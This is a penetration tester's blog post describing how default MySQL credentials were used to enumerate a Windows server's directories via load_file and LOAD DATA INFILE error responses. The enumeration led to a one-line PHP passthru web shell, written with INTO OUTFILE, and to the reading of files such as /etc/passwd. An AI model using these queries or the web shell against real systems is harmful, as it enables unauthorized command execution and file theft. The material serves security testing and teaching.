Application security, Endpoint/Device Security, SIEM, Vulnerability Management

MySQL File System Enumeration – UPDATED

I encountered something on a penetration test today that I thought was kinda neat. I’m sure that others have encountered this before, but it was the first time I stumbled upon it and thought that this might be a good place to share the experience and keep notes for future use.

The scenario goes like this. I found a Windows 7 machine running a MySQL database configured with a username of “root” and a password of “root”. In my experience, when a default configuration like this is found, the database usually ends up being empty and unused, hence the neglect. As was the case here. Since MySQL doesn’t have native ability to run system commands through the database, many penetration testers walk away at this point. However, MySQL access can be used to do so much more. With functions such as “load_file”, “INTO OUTFILE”, and “INTO DUMPFILE”, we can interact with the local file system even though we can’t run commands. If we’re lucky, the vulnerable server is also running a web server with some sort of server side technology (PHP, .NET, JSP, etc.) so we can use the aforementioned functions to write a web shell to the web server and launch it through a browser.

In this scenario, the server was also running Apache and PHP, the perfect combination for compromise. But this is where things get interesting. Where do you write web shell? The document root, right? Well, where is the document root? While the default location is usually a good place to start, it wasn’t that easy this time. As it turns out, the target was a proprietary server, configured by the vendor for a specific purpose. When something like this happens, you have 2 options for finding the document root: try to guess the document root, or find the configuration file for the web server that tells you where the document root is. I typically elect to look for the configuration file, as documents roots are more likely to be customized during configuration than the server itself. This is where the challenge began. The default install web server location was changed as well. I had to find another way. And this is when I stumbled upon a way to use MySQL to enumerate the directory structure. Check it out.

The MySQL “load_file” function gives a database user the ability to load files from the file system into a table, or dump them to the screen. If the given path exists, it works. If the given path doesn’t exist, it fails and reports a database error. So how does this help us find directories? Well, what happens when we try to “load_file” a directory instead of a file? This is where it gets neat. When you attempt to load a directory that isn’t there, you get the expected response; an error similar to when a given file doesn’t exist.

mysql> SELECT load_file("C:/file_does_not_exist.txt");
ERROR 13 (HY000): Can't get stat of 'C:file_does_not_exist.txt' (Errcode: 2)
mysql> SELECT load_file("C:/dir_does_not_exist");
ERROR 13 (HY000): Can't get stat of 'C:dir_does_not_exist' (Errcode: 2)


However, when the directory does exist, the path is legit, but there isn’t any file content for MySQL to return, so we get back a NULL.

mysql> SELECT load_file("C:/");
+------------------+
| load_file("C:/") |
+------------------+
| NULL             |
+------------------+
1 row in set (0.20 sec)


Alas, we have a positive vs. negative reaction we can use to enumerate directories. At this point it is a little like “Dirbusting”. We can guess, discover, guess again, and continue digging until we find what we are looking for, in this case the Apache “httpd.conf” file.

I was able to enumerate the “Program Files” and “Program Files (x86)” directories (validating that it was a 64-bit OS, something that might come in handy later). Since the server response header was “Apache 2.X.X (Win32)”, I assumed x86 and began enumerating that directory tree. I tried the typical “Apache Software Foundation” directory next, as that is the default install path for modern versions of Apache. It was not there. After digging and guessing for a while, I shared my frustration with Tim Medin. He recommended I try using the “8.3” abbreviation for the directory name. Doh! Why didn’t I think of that!? It worked beautifully.

mysql> SELECT load_file("C:/Program Files (x86)/Apache Software Foundation");
ERROR 13 (HY000): Can't get stat of 'C:Program Files (x86)Apache Software Foundation' (Errcode: 2)
mysql> SELECT load_file("C:/Program Files (x86)/Apache~1");
+----------------------------------------------+
| load_file("C:/Program Files (x86)/Apache~1") |
+----------------------------------------------+
| NULL                                         |
+----------------------------------------------+
1 row in set (0.19 sec)


From then on it was trial and error until I reached the “httpd.conf” file. I pulled it down from the server, enumerated the document root location from it, used the “INTO OUTFILE” function to write a simple PHP web shell to the document root, and shell was had.

mysql> SELECT load_file("C:/Program Files (x86)/Apache~1/Apache2/conf");
+-----------------------------------------------------------+
| load_file("C:/Program Files (x86)/Apache~1/Apache2/conf") |
+-----------------------------------------------------------+
| NULL                                                      |
+-----------------------------------------------------------+
1 row in set (0.17 sec)
mysql> SELECT load_file("C:/Program Files (x86)/Apache~1/Apache2/conf/httpd.conf");
<omit>
mysql> SELECT "<? passthru($_REQUEST['cmd']); ?>" INTO OUTFILE "C:/Program Files (x86)/<omit>/<omit>/htdocs/shell.php";
Query OK, 1 row affected (0.20 sec)


I know Carlos, this was only the beginning.

While this isn’t a ground breaking hack, it is a pretty cool way to use something that MySQL gives you to your advantage before walking away from a MySQL server for which you have credentials or SQL Injection. As always, enjoy!

Update 01/18/13 12:45pm

After a few emails this morning and reports of the technique not working in some version of MySQL, I conducted some deeper testing of multiple MySQL servers. As it turns out, the above appears to be a bug that only existed in very old versions of MySQL. The version I was dealing with was 4.1.7. Therefore, to leverage the above technique, we are restricted to older versions of MySQL. Versions that we likely won’t see often. Bummer. But there is some good news. I was talking about this with Tim Medin again, and he asked if I had tried using the “LOAD DATA INFILE” directive to do the same thing. I had not at the time, but immediately went to testing. I am happy to report that we now have an alternative for enumerating file system paths with newer versions of MySQL.

The “LOAD DATA INFILE” directive allows the database user to load a file from the file system directly into a table in the database. While this is similar to the “load_file” function, it does not allow us to output to the screen. Bummer, but it still works. The first thing you have to do is either create a new table to test with, or select one that you don’t mind poisoning from the existing database. Once you do that, the process is very similar to what we did before.

Create a Table:

mysql> create table temp (id integer);
Query OK, 0 rows affected (0.01 sec)


Windows:

File Fail:
mysql> LOAD DATA INFILE 'c:/windows/system32/drivers/etc/hostcds' INTO TABLE mysql.user;
ERROR 29 (HY000): File 'c:windowssystem32driversetchostcds' not found (Errcode: 2)
File Success:
mysql> LOAD DATA INFILE 'c:/windows/system32/drivers/etc/hosts' INTO TABLE mysql.user;
ERROR 1261 (01000): Row 1 doesn't contain data for all columns
Dir Fail:
mysql> LOAD DATA INFILE 'c:/windows/system32/drivers/etccd' INTO TABLE mysql.user;
ERROR 29 (HY000): File 'c:windowssystem32driversetccd' not found (Errcode: 2)
Dir Success:
mysql> LOAD DATA INFILE 'c:/windows/system32/drivers/etc' INTO TABLE mysql.user;
ERROR 29 (HY000): File 'c:windowssystem32driversetc' not found (Errcode: 13)


Linux/OS X:

File Fail:
mysql> LOAD DATA INFILE '/etc/passwdblah' INTO TABLE mysql.user;
ERROR 13 (HY000): Can't get stat of '/etc/passwdblah' (Errcode: 2)
File Success:
mysql> LOAD DATA INFILE '/etc/passwd' INTO TABLE mysql.user;
ERROR 1062 (23000): Duplicate entry '##-' for key 'PRIMARY'
Dir Fail:
mysql> LOAD DATA INFILE '/etc/apache' INTO TABLE mysql.user;
ERROR 13 (HY000): Can't get stat of '/etc/apache' (Errcode: 2)
Dir Success:
mysql> LOAD DATA INFILE '/etc/apache2' INTO TABLE mysql.user;
ERROR 1085 (HY000): The file '/private/etc/apache2' must be in the database directory or be readable by all


As you can see, we still have differences in the responses from the server to work with. In Windows, it can be as subtle as a difference in error code. And in Linux, it’s a more obvious error statement. These tests were performed against Windows MySQL 5.5.29 and Linux MySQL 5.5.25.

Join me for SEC542: Web App Penetration Testing and Ethical Hacking at SANS Monterey 2013!
Monterey, CA | Fri Mar 22 – Wed Mar 27, 2013

An In-Depth Guide to Application Security

Get essential knowledge and practical strategies to fortify your applications.

You can skip this ad in 5 seconds